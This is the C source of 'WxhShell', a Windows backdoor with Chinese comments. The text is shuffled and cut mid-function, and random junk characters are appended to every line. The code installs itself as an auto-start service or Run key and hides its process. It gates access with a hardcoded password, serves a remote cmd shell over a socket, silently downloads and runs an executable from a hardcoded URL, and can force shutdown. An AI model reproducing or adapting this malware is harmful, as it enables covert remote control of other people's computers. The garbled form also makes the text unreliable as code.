    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P (DEf(  
    if(Boot(SHUTDOWN)) -%| ] d ;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;Yv{)@'Bc  
    else { `wZ  
    closesocket(wsh); y5F"JjQAa  
    ExitThread(0); Hpa6; eT  
    } w,up`W7,  
    break; H\H7a.@nkF  
    } bRrS d:e  
  // 获取shell `JY+3d,Ui  
  case 's': { E)`0(Z:E  
    CmdShell(wsh); Z=Cw7E  
    closesocket(wsh); w>8kBQ?b  
    ExitThread(0); &-{%G=5~e%  
    break; kvuRT`/  
  } 6212*Z_Af  
  // 退出 'n>44_7L  
  case 'x': { %hN(79:g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]uF7HX7F  
    CloseIt(wsh); E_I-.o|  
    break; pJs`/   
    } vq.o;q /  
  // 离开 $STGH  
  case 'q': { cJbv,RV<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); tQRbNY#}Z  
    closesocket(wsh); GyMN;|  
    WSACleanup(); /W`CqJk-*.  
    exit(1); i/I  
    break; ]*'_a@h  
        } lNf);!}SM  
  } o5 ~VT!'[  
  } w=<E)  
bq) 1'beW  
  // 提示信息 S7WHOr9XMV  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (n8?+GCa  
} 6" Lyv  
  } Q)BSngW+  
bcjh3WP  
  return; YFPse.2$a  
} Dt>tTU 6  
65JG#^)KaX  
// shell模块句柄 *0Z6H-Do,  
int CmdShell(SOCKET sock) 3 !8#wn  
{ (9ZW^flY  
STARTUPINFO si; AZE%fOG<i  
ZeroMemory(&si,sizeof(si)); )Ute  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kr|r-N`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (T$cw(!  
PROCESS_INFORMATION ProcessInfo; 8(l0\R,%+z  
char cmdline[]="cmd"; 5'+g[eNyBV  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }No#_{  
  return 0; y9]7LETv\M  
} 8{!|` b'f  
H^5,];  
// 自身启动模式 lP)n$?u  
int StartFromService(void) k{lo'  
{ w'A*EWO  
typedef struct V6](_w!  
{ :RukW.MR  
  DWORD ExitStatus; lK7:qo  
  DWORD PebBaseAddress; pfIK9>i  
  DWORD AffinityMask; xzOvc<u  
  DWORD BasePriority; A'7Y{oPHX  
  ULONG UniqueProcessId; $H.U ~  
  ULONG InheritedFromUniqueProcessId; WRkuPj2  
}   PROCESS_BASIC_INFORMATION; W( sit;O  
BeQ'\#q,  
PROCNTQSIP NtQueryInformationProcess; Ix,b-C~  
N0}[&rE 8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; VyN F)$'T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ": BZZ\!  
X]2Ib'(  
  HANDLE             hProcess; !KJ X$?  
  PROCESS_BASIC_INFORMATION pbi; ==?%]ZE8  
\Gk}Fer  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U&:-Vf~&  
  if(NULL == hInst ) return 0; c(vi,U-hC  
>T*BEikC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ROfV Y:,M  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .#Z'CZO|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fKFD>u 0%  
17c`c.yP  
  if (!NtQueryInformationProcess) return 0; ujE~#b}X  
sx;/xIU|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a6ryyt 5  
  if(!hProcess) return 0; T,a{mi.hNR  
0S;Ipg  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t4d/%b~{:U  
YGM7?o  
  CloseHandle(hProcess); p=eSJ*  
"k  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9}2/ko  
if(hProcess==NULL) return 0; 3AR'Zvn  
g#l!b%$  
HMODULE hMod; 35AH|U7b  
char procName[255]; tC$+;_=+F  
unsigned long cbNeeded; j|o/>^ 'e  
? eI)m  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Gdx %#@/  
*L>usLh  
  CloseHandle(hProcess); z;@<J8I  
s0vcGh#w  
if(strstr(procName,"services")) return 1; // 以服务启动 ] s 2ec  
DwFvM0O6\  
  return 0; // 注册表启动 )>b1%x} =  
} 5N6R%2,A  
jt323hHth  
// 主模块 fM:bXR2Y'  
int StartWxhshell(LPSTR lpCmdLine) kO^  
{ 2,B^OZmw  
  SOCKET wsl; \8a014  
BOOL val=TRUE; !=;Evf  
  int port=0; ?wmu 0rR  
  struct sockaddr_in door; qkc,93B3  
I Gb'ii=A  
  if(wscfg.ws_autoins) Install(); QjJlVlp  
veh=^K%G |  
port=atoi(lpCmdLine); ]5`A8-Q@  
uQW[2f  
if(port<=0) port=wscfg.ws_port; x~8R.Sg  
<?8cVLW} O  
  WSADATA data; d/3&3>/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \!uf*=d  
)PU\|I0|)e  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   s/E9$*0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); c<cYX;O  
  door.sin_family = AF_INET; X3gYe-2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); L:lnm9<  
  door.sin_port = htons(port); m|+zMf&  
b+ZaZ\-y |  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { iK'A m.o+  
closesocket(wsl); ka R55  
return 1; p>pAU$k{O  
} s%> u[-9U  
kaEu\@%n  
  if(listen(wsl,2) == INVALID_SOCKET) { 5qqU8I  
closesocket(wsl); "4smW>f:%  
return 1; e 1bV&  
} e2;=OoBK  
  Wxhshell(wsl); l<sWM$ez  
  WSACleanup(); \B/( H)Cd*  
(lYC2i_b#  
return 0; l`0JL7  
ao2o!-?!t  
} GLV`IkU %  
G8^b9xoA+.  
// 以NT服务方式启动 Pj8Vl)8~NV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }gX4dv B  
{ 5/m*Lc+r  
DWORD   status = 0; Ai)Q(]  
  DWORD   specificError = 0xfffffff; Z$YG'p{S  
<bv9X?U  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hiR+cPSF  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l>HB0o  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =5%}CbUU)4  
  serviceStatus.dwWin32ExitCode     = 0; s\3ZE11L  
  serviceStatus.dwServiceSpecificExitCode = 0; P8CIKoKCV  
  serviceStatus.dwCheckPoint       = 0; hE2{m{^A  
  serviceStatus.dwWaitHint       = 0; t `\l+L  
o1]1I9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -M[BC~!0;  
  if (hServiceStatusHandle==0) return; j=>WWlZ  
e<Oz%  
status = GetLastError(); 6ESS>I"su  
  if (status!=NO_ERROR) ?0s&Kz4B  
{ "bO]AG  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; G CcSI;w  
    serviceStatus.dwCheckPoint       = 0; J/vcP  
    serviceStatus.dwWaitHint       = 0; EJaO"9 (  
    serviceStatus.dwWin32ExitCode     = status; Z>@\!$Mc  
    serviceStatus.dwServiceSpecificExitCode = specificError; jJ_6_8#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); SS,'mv  
    return; aMJ9U )wnK  
  } @(tuE  
<("P5@cExU  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3URrK[%x`  
  serviceStatus.dwCheckPoint       = 0; 6XeqK*r*  
  serviceStatus.dwWaitHint       = 0; O} lqY?0*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,}Ic($ To  
} AlgVsE%Va  
VD=F{|^  
// 处理NT服务事件,比如:启动、停止 Y:'c<k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) jLul:* L  
{ u/?;J1z:  
switch(fdwControl) P(zquKm  
{ 3e^'mT  
case SERVICE_CONTROL_STOP: rf&nTDaWI  
  serviceStatus.dwWin32ExitCode = 0; 90$`AMR  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; X^ 0jS  
  serviceStatus.dwCheckPoint   = 0; dFpP_U  
  serviceStatus.dwWaitHint     = 0; L w/ZKXDU2  
  { MS%h`Ypo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N sSl|m  
  } sWLH"'Z  
  return; WOGMt T%  
case SERVICE_CONTROL_PAUSE: g[xn0 rG  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; y {Mh ?H  
  break; qSL~A-  
case SERVICE_CONTROL_CONTINUE: KH1/B_.\V  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; X@B,w_b  
  break; @j4~`~8  
case SERVICE_CONTROL_INTERROGATE: eJ$ {`&J  
  break; /lvH p  
}; U C9w T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HR k^KB  
} VoUAFEcs  
C? b_E  
// 标准应用程序主函数 g\,HiKBXd  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \3z^/F~  
{ ( e(<4-&  
%G~%:uJ5  
// 获取操作系统版本 =CO#Q$  
OsIsNt=GetOsVer(); "[ ]72PC  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4T#Z[B[  
TWQ{, B  
  // 从命令行安装 >E(IkpZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); B3Esfk  
P1QGfp0-J  
  // 下载执行文件 UBy:W^\g  
if(wscfg.ws_downexe) { hLLg  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JSiLG0  
  WinExec(wscfg.ws_filenam,SW_HIDE); QGd"Z lQ  
} D&&11Iz&  
)8Sm}aC  
if(!OsIsNt) { 5fa_L'L#  
// 如果时win9x,隐藏进程并且设置为注册表启动 <^jW  
HideProc(); o#&;,9  
StartWxhshell(lpCmdLine); ^ )/oDyO  
} eTa[~esu.  
else %"RgW\s[R  
  if(StartFromService()) ma26|N5  
  // 以服务方式启动 ag$UNV  
  StartServiceCtrlDispatcher(DispatchTable); lV!@h}mG  
else $f<Rj/`&  
  // 普通方式启动 s"]LQM1|  
  StartWxhshell(lpCmdLine); ;-65~i0Iu  
7":0CU% %  
return 0; 7J2i /m  
} c=HL 6v<  
b$)XS  
yq>3IS4O  
MA:8g D  
=========================================== Z$5@r2d)  
9Q%Fel.  
Tp/+{|~  
)zVD!eG_9  
5 gbJTh<JU  
T|[ o  
" #| Et9  
w_i$/`i+  
#include <stdio.h> 8[;U|SR"  
#include <string.h> fKAG+t  
#include <windows.h> v ~%6!Tr  
#include <winsock2.h> p,9eZUGy  
#include <winsvc.h>  G l*C"V  
#include <urlmon.h> "I]% aK0  
yeNC-U<  
#pragma comment (lib, "Ws2_32.lib") 5ff66CRw  
#pragma comment (lib, "urlmon.lib") # 1,(I  
a4! AvG  
#define MAX_USER   100 // 最大客户端连接数 4o2 C=?@(  
#define BUF_SOCK   200 // sock buffer &sQtS  
#define KEY_BUFF   255 // 输入 buffer `W[oLQ  
]7^YPFc+  
#define REBOOT     0   // 重启 A`Bg"k:D  
#define SHUTDOWN   1   // 关机 .HG0%Vp  
,Tyh._sa  
#define DEF_PORT   5000 // 监听端口 c;bp[ Y3R  
dDy9yw%f?  
#define REG_LEN     16   // 注册表键长度 _, ;c2  
#define SVC_LEN     80   // NT服务名长度 !W8'apG&[  
Aj4i}pT  
// 从dll定义API &`63"^y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {E`f(9r:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A:ef}OCL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }T+pd#>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7@Qz  
S-:l 60.  
// wxhshell配置信息 z6R<*$4  
struct WSCFG { *Ta*0Fr=9|  
  int ws_port;         // 监听端口 0BIH.ZV#  
  char ws_passstr[REG_LEN]; // 口令 kf$0}T`  
  int ws_autoins;       // 安装标记, 1=yes 0=no @$;"nVZ4v  
  char ws_regname[REG_LEN]; // 注册表键名 M(S:&GOU  
  char ws_svcname[REG_LEN]; // 服务名 ]#[ R^t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6?ylSQ]1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m`-{ V<(M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d7tH~9GX8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no cX553&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" b07 MTDFH7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Y] nY.5irL  
e2%Y8ZJG.  
}; Zcv1%hI  
e?G] fz  
// default Wxhshell configuration ?+b )=Z  
struct WSCFG wscfg={DEF_PORT, c0jC84*v  
    "xuhuanlingzhe", =8fp4# ]7  
    1, dM7-,9Vc  
    "Wxhshell", Vo"\nj  
    "Wxhshell", f|_iHY  
            "WxhShell Service", Ssr P  
    "Wrsky Windows CmdShell Service", 6546"sU  
    "Please Input Your Password: ", ;e_n7>'#%  
  1, ^'C1VQ%  
  "http://www.wrsky.com/wxhshell.exe", ; eq^m,oz  
  "Wxhshell.exe" 0AFjO)  
    }; >e"CpbZ'  
Wgdij11e  
// 消息定义模块 (J~n|hA2/D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6`{Y#2T  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q?{wRBVVB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0\Qqv7>  
char *msg_ws_ext="\n\rExit."; hn-9l1~!h  
char *msg_ws_end="\n\rQuit."; TgVvp0F;  
char *msg_ws_boot="\n\rReboot..."; m Fwx},dl  
char *msg_ws_poff="\n\rShutdown..."; qv=i eU  
char *msg_ws_down="\n\rSave to "; QVI4<Rxg  
$GYcZN&  
char *msg_ws_err="\n\rErr!"; ep Eg 6   
char *msg_ws_ok="\n\rOK!"; W)?B{\  
$AUC#<*C  
char ExeFile[MAX_PATH]; _bn*B$  
int nUser = 0; p^A9iieHp=  
HANDLE handles[MAX_USER]; 4r5?C;g  
int OsIsNt; zN {'@B  
y}5H<ZcXA  
SERVICE_STATUS       serviceStatus; < ppg$;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >c?Z.of  
F%t`dz!L  
// 函数声明 r+;op_  
int Install(void); c Q|nL  
int Uninstall(void); DnP>ed"M!  
int DownloadFile(char *sURL, SOCKET wsh); a&p|>,WS  
int Boot(int flag); tD.md _E  
void HideProc(void); 5EIh5Y EU>  
int GetOsVer(void); ^c!"*L0E  
int Wxhshell(SOCKET wsl); (5re'Pl  
void TalkWithClient(void *cs); &hEtVkK  
int CmdShell(SOCKET sock); KE`}P<K&  
int StartFromService(void); ]4yWcnf  
int StartWxhshell(LPSTR lpCmdLine); Uoh!1_oV  
uMtq4.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u!];RHOp|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); nWfOiw-t  
hdp;/Qz&  
// 数据结构和表定义 S.aSNH<  
SERVICE_TABLE_ENTRY DispatchTable[] = 3@*J=LGhKc  
{ KQj5o>} 6  
{wscfg.ws_svcname, NTServiceMain}, *pCT34'--  
{NULL, NULL} J84Q|E  
}; Ua)ARi %  
5\V>Sj(  
// 自我安装 ds,NNN<HW  
int Install(void) 9sifc<za  
{ "m.jcKt  
  char svExeFile[MAX_PATH]; u1xCn\  
  HKEY key; 0~Z >}(  
  strcpy(svExeFile,ExeFile); &p%0cjg"Q  
HP^<2?K  
// 如果是win9x系统,修改注册表设为自启动 h W6og)x  
if(!OsIsNt) { & xo,49`!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #HpF\{{v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |T atRB3>  
  RegCloseKey(key); )"q$g&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B>WAlmPA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j{U?kW{o  
  RegCloseKey(key); 9`81br+~  
  return 0; R$IxR=hMx  
    } '.r_6X$7Jt  
  } Q\z6/1:9Z  
} fwK5p?Xhm  
else { ~oy =2Q<Z  
d`q<!qFZh  
// 如果是NT以上系统,安装为系统服务 `h}fS4CO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 85+'9#~!  
if (schSCManager!=0) _SC{nZ[  
{ )HQ':ZE$  
  SC_HANDLE schService = CreateService -'r4@='6}  
  ( :3J, t//c  
  schSCManager, @9lV~,,U  
  wscfg.ws_svcname, 9AO`Zk{/Ez  
  wscfg.ws_svcdisp, Gjf b<  
  SERVICE_ALL_ACCESS, =VFi}C/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S<H 2e{~  
  SERVICE_AUTO_START, ^pruQp1X  
  SERVICE_ERROR_NORMAL, jT>G8}h  
  svExeFile, #$2 {l,>  
  NULL, n]^zIe^6  
  NULL, ul$k xc=N  
  NULL, e` 9d&"  
  NULL, +e}v) N  
  NULL 7yM=$"'d  
  ); ~(OG3`W!  
  if (schService!=0) CT,PQ  
  { Yl4XgjG  
  CloseServiceHandle(schService); Is1P,`*!  
  CloseServiceHandle(schSCManager); ^)oBa=jL4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Cp4 U`]  
  strcat(svExeFile,wscfg.ws_svcname); i x2V?\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `Y>'*4a\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :}'5'oVG  
  RegCloseKey(key); vqO d`_)  
  return 0; DSjEoWj   
    } X5@+M!`  
  } ovm109fTx  
  CloseServiceHandle(schSCManager); V>D8l @  
} 4eH:eCZze  
} (7Su{tq  
P/i{_r  
return 1; hOZ:r =%  
} >-U'mkIH  
3L}eF g,d  
// 自我卸载 '. 5&Z  
int Uninstall(void) *\Z9=8yK  
{ s^f7w  
  HKEY key; K#Ia19au5  
yp}J+/PX}  
if(!OsIsNt) { Buc{dcL/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NULew]:5  
  RegDeleteValue(key,wscfg.ws_regname); |i_+b@Lul  
  RegCloseKey(key); _y:-_q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )Fk*'6  
  RegDeleteValue(key,wscfg.ws_regname); by07l5  
  RegCloseKey(key); uCkXzb9_z  
  return 0; e}lF#$  
  } tVfZ~q J  
} CjR!dh1w_  
} eX)'C>4W  
else { u}I-#j)wap  
{A^3<=|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wwh1aV *  
if (schSCManager!=0) u@&e{w~0  
{ &/dYJv$[9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "x1?T+j4  
  if (schService!=0) Me;XG?`  
  { /q1k)4?E  
  if(DeleteService(schService)!=0) { YV%y KD  
  CloseServiceHandle(schService); eX`wQoV%  
  CloseServiceHandle(schSCManager); }2xgm9j<  
  return 0; e={ ?d6  
  } BD.&K_AW  
  CloseServiceHandle(schService); arK(dg~S  
  } UHyGW$B  
  CloseServiceHandle(schSCManager); qa-%j+  
} \ -n&z;`  
} jVlXB6[-  
,~Y[XazT  
return 1; ]@Z[/z%~04  
} /(oxK>*F  
K;8{qQ*  
// 从指定url下载文件 <C1w?d$9I  
int DownloadFile(char *sURL, SOCKET wsh) edai2O  
{ GVT| fE  
  HRESULT hr; uNKf!\Y  
char seps[]= "/"; J497 >w[  
char *token; hMCf| e.UY  
char *file; #W$6[#7=I  
char myURL[MAX_PATH]; _tlr8vL  
char myFILE[MAX_PATH]; 6~34L{u  
d+qeZGg^A  
strcpy(myURL,sURL); Xsk/U++  
  token=strtok(myURL,seps); c T21  
  while(token!=NULL) f;D(X/"f]  
  { inHlL  
    file=token; a``/x_EZMn  
  token=strtok(NULL,seps); 5J-slNNCQ  
  } |@W|nbAfX  
J,G/L!Bp  
GetCurrentDirectory(MAX_PATH,myFILE); .R^R32ln  
strcat(myFILE, "\\"); QXI#gA  =  
strcat(myFILE, file); q}P UwN6  
  send(wsh,myFILE,strlen(myFILE),0); mX/'Fta  
send(wsh,"...",3,0); OYyF*F&S[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C5,\DdCX,  
  if(hr==S_OK) ,NAwSmocVP  
return 0; 3>>Ca;>$  
else KzZfpdI92  
return 1; ilRPV'S^  
x)R1aq  
} y(<+=  
b.q/? Yx  
// 系统电源模块 &>n:7  
int Boot(int flag) ffW-R)U|3  
{ l&|Tb8_'  
  HANDLE hToken; bg\9Lbjr  
  TOKEN_PRIVILEGES tkp; G#L6;  
uS<og P  
  if(OsIsNt) { qWU59:d^{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); y@h v#;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Xv+!) j<  
    tkp.PrivilegeCount = 1; QVF561Yz  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (%j V [Q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A(9$!%#+L  
if(flag==REBOOT) { /&H l62Ak  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Fs}B\R/J  
  return 0; |Ed?s  
} w1EB>!<;tj  
else { Zd| u>tn  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) E]Q d5l  
  return 0; v4]#Nc$~T  
} ),>whCtsI  
  } wwNkJ+  
  else { c!kzwc(  
if(flag==REBOOT) { W K(GR\@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 00LL&ot  
  return 0; tUksIUYD\  
} Cp?6vu|RA  
else { >u\'k +=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \WqC^Di  
  return 0; x"7PnN|~  
} !'C8sNs  
} n5 <B*  
]k$:sX  
return 1; qgs:9V xF  
} W!+eJ!Da  
d(j g "@  
// win9x进程隐藏模块 [{0/'+;9  
void HideProc(void) ;Kh[6{W  
{ 8%`h:fE  
%J+ w9Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); : sG/  
  if ( hKernel != NULL ) l1.eAs5U  
  { \qDY0hIv t  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +W/{UddeKU  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); TtrV -X>L  
    FreeLibrary(hKernel); .E 9$j<SP-  
  } 610u!_-  
)8taMC:H^  
return; b\^1P;!'W  
} iL<FF N~{  
uF ;8B]"  
// 获取操作系统版本 _} j6Pw'  
int GetOsVer(void) qYPgn _  
{ -UWyBM3c@  
  OSVERSIONINFO winfo; 7:zoF], s  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &p+2Vz{  
  GetVersionEx(&winfo); *'BI=* `  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pJ x H  
  return 1; xouBBb=  
  else b)>l7nOc  
  return 0; <O41 M\,  
} QO>)ug+  
-M+o;  
// 客户端句柄模块 /IG3>|R  
int Wxhshell(SOCKET wsl) np\*r|U  
{ #'m#Q6`  
  SOCKET wsh; Pz|}[Cx-  
  struct sockaddr_in client; 3t5W wrNh  
  DWORD myID; e +jp,>(v  
RDeI l&  
  while(nUser<MAX_USER) ~iIFe+6  
{ K#N5S]2yb  
  int nSize=sizeof(client); ZftucD|ZY/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^Ge|tBMoKE  
  if(wsh==INVALID_SOCKET) return 1; Sq5}v]k@&  
29W`L2L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *CVI@:Q9  
if(handles[nUser]==0) c],Zw  
  closesocket(wsh); -aDBdZ;y  
else a ~k*Gd(  
  nUser++; l xP!WP  
  } bWZ oGFT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); u$ vLwJ|o  
:4>LtfA  
  return 0; @sRb1+nn  
} H:t2;Z'  
t4p-pH'9b  
// 关闭 socket "/x/]Qx2  
void CloseIt(SOCKET wsh) Of  nN  
{ m:g%5' qDZ  
closesocket(wsh); m[w~h\FS  
nUser--; 9S?b &]  
ExitThread(0); e63io0g>  
} ioslarw1J  
xw*/8.Md6f  
// 客户端请求句柄 0a+U >S#  
void TalkWithClient(void *cs) "VeNc,-nfQ  
{ B~3qEdoK5`  
aSeh?2n8  
  SOCKET wsh=(SOCKET)cs; QaOF l` i  
  char pwd[SVC_LEN]; 1 y7$"N8Xo  
  char cmd[KEY_BUFF]; _Ry  
char chr[1]; V^\b"1X7N  
int i,j; ?aZ\D g{  
<2\Q Y  
  while (nUser < MAX_USER) { 2~)q080jh  
_2<k,Dl;RY  
if(wscfg.ws_passstr) { j2|UuWU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Iy2AJ|d.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I^QB`%v5  
  //ZeroMemory(pwd,KEY_BUFF); %"3tGi:/  
      i=0; ++}#pl8e  
  while(i<SVC_LEN) { LfsOGC  
fM<g++X  
  // 设置超时 MENrP5AL  
  fd_set FdRead; \qbEC.-K  
  struct timeval TimeOut; "; ?^gA  
  FD_ZERO(&FdRead); XE|"n  
  FD_SET(wsh,&FdRead); tTe:Oq  
  TimeOut.tv_sec=8; a]x\e{  
  TimeOut.tv_usec=0; Csm23QLsg)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); FFc?Av?_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :5zO!~\  
K st2.Yy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k= 9a/M u  
  pwd=chr[0]; ,oj)`?Vh  
  if(chr[0]==0xd || chr[0]==0xa) { =1j`VJU9  
  pwd=0; e pAC%a  
  break; -vS7%Fbr  
  } 2J7JEv|  
  i++; lW@i,1  
    } M5B?`mTl  
KkZo|\V  
  // 如果是非法用户,关闭 socket D]Gt=2\NG9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t2z@"e   
} ":^cb =  
^^(4xHN  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Xx=.;FYk  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GnW_^$Fs  
-KCQ!0\F  
while(1) { V7>{,  
<V*M%YWs  
  ZeroMemory(cmd,KEY_BUFF); ;<v9i#K5  
oFS)3.  
      // 自动支持客户端 telnet标准   Z9lfd6MU,  
  j=0; mvBUm-X  
  while(j<KEY_BUFF) { H{*R(S<I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;gW?Fnry;  
  cmd[j]=chr[0]; o n?8l?iQ  
  if(chr[0]==0xa || chr[0]==0xd) { b .v^:M  
  cmd[j]=0; 9,Ug  
  break; j*1O(p+  
  } ?;Ge/~QU5  
  j++; b%I2ig  
    } .sbV<ulbc  
96CC5  
  // 下载文件 Fy]j33E  
  if(strstr(cmd,"http://")) { 4Yl:1rz  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3Y=?~!,Jk  
  if(DownloadFile(cmd,wsh)) q0QB[)AP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1)h+xY  
  else p"/B3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *mXs(u  
  } }Z\PE0  
  else { nK|WzUtp  
